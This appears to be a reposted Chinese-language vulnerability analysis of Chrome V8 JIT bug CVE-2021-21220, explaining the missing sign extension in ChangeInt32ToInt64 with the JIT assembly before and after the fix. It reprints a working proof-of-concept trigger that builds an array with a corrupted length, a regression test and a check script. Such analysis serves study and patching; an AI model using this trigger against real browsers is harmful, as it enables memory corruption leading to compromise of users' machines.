怎么分析Chrome V8 JIT漏洞CVE-2021-21220
怎么分析Chrome V8 JIT漏洞CVE-2021-21220
怎么分析Chrome V8 JIT漏洞CVE-2021-21220,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
前言
CVE-2021-21220 是4月13号在 github 上公开的一个半 0day v8 引擎 JIT 模块漏洞。由于当时最新stable版本 (89.0.4389.114) 和 beta 版本 (90.0.4430.70) 的 Chrome 均未集成修复后的 V8 版本,所以该漏洞可以影响最新版本的 Chrome,当然,也影响基于 V8 的其它广泛使用的浏览器。
目前最新版本的 Chrome 已修复该漏洞,建议大家尽快更新 Chrome 浏览器。
漏洞分析
拿到PoC之后,首先进行简单的分析和精简,方便之后的调试分析。
var _arr = new Uint32Array([2**31]);function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;x = Math.abs(x);x -= 2147483647;x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;var arr = new Array(x);arr.shift();var cor = [1.1, 1.2, 1.3];return [arr, cor];}for(var i=0;i<0x3000;++i)foo(true);var x = foo(false);var arr = x[0];var cor = x[1];
对 jit 比较熟悉的同学,很容易就可以发现 foo 函数是被优化的函数。foo 函数的主要功能是:1、对变量 x 进行多种基本操作;2、涉及数组的相关操作。仔细看一下数组这部分,它主要依赖于变量 x 的值。
var _arr = new Uint32Array([2**31]);//2**31function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;// (2**31)^0+1x = Math.abs(x);x -= 2147483647;//2**31-1=2147483647x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;return x}print(foo(false));for(var i=0;i<0x3000;++i)foo(true);var x = foo(false);print(x)
去掉 array 数组那部分的精简,运行poc,结合输出的结果,说明我们的推断是正确的。
d8 poc.js 01
进一步分析发现,变量 x 的值和 2**31(2147483648) 有很大关系。有符号的int32 整数范围 [-2147483648~2147483647],在这个地方进行加减操作,在64位平台下很容易发生 int32 和 int64 之间的相互转换。事实上我们发现 v8 团队提交的一个 commit 修复链接 [compiler][x64] Fix bug in InstructionSelector::ChangeInt32ToInt64,恰好是这个 bug 的 patch。这个commit中包含了对应的回归测试用例。为了调试方便,我们使用该测试用例。
const arr = new Uint32Array([2**31]);function foo() {return (arr[0] ^ 0) + 1;}%PrepareFunctionForOptimization(foo);print(foo());%OptimizeFunctionOnNextCall(foo);print(foo());
执行
d8 poc.js --allow-natives-syntax-2147483647 //runtime2147483649 //jit
arr[0]= 2**31(2147483648);arr[0] ^ 0 = -2147483648在32位有符号的情况下为0x8000 0000,而 arr[0] 在32位无符号的情况下也为 0x8000 0000,之后执行加1:在 runtime 阶段,-2147483648+1=0xFFFF FFFF 8000 0001 = -2147483647没有问题;而 jit 阶段,错误地将32位无符号0x8000 0000,扩展为64位0x0000 0000 8000 0000,然后加1得到0x0000 0000 8000 0001 = 2147483649。
结合对应的 patch 代码和注释,ChangeInt32ToInt64的输入是一个有符号的32位整数,所以任何时候都应该做符号扩展。
最后我们来看一下 jit 生成的代码,这里通过 | mov ecx,dword ptr [rcx]|,错误地丢失了符号。而在 fix 之后的 jit 代码中通过 | movsxd rcx,dword ptr [rcx]| 正确地带符号扩展 rcx。
JIT代码:
修复 JIT代码:
验证脚本
var _arr = new Uint32Array([2**31]);function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;x = Math.abs(x);x -= 2147483647;x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;var arr = new Array(x);return arr}for(var i=0;i<0x3000;++i)foo(true);var x = foo(false);if(x.length){alert("vuln is exist")}
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注高防服务器网行业资讯频道,感谢您对高防服务器网的支持。
[微信提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。
[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]
[